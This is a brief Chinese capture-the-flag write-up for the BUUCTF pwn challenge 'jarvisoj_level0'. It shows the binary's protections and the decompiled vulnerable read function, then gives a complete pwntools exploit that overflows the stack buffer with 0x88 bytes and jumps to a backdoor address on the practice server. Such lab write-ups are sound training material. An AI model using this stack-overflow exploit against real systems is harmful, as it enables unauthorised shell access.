[buuctf] pwn-jarvisoj_level0

jarvisoj_level0

查看文件保护

    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

64位程序，只开启了nx保护，ida分析

ssize_t vulnerable_function()
{
  char buf; // [rsp+0h] [rbp-80h]

  return read(0, &buf, 0x200uLL);
}

存在栈溢出漏洞，并且存在后门函数，exp如下

from pwn import *
r = remote('node3.buuoj.cn',28186)
backdoor_addr = 0x400596
payload = b'a'*0x88+p64(backdoor_addr)
r.sendline(payload)
r.interactive()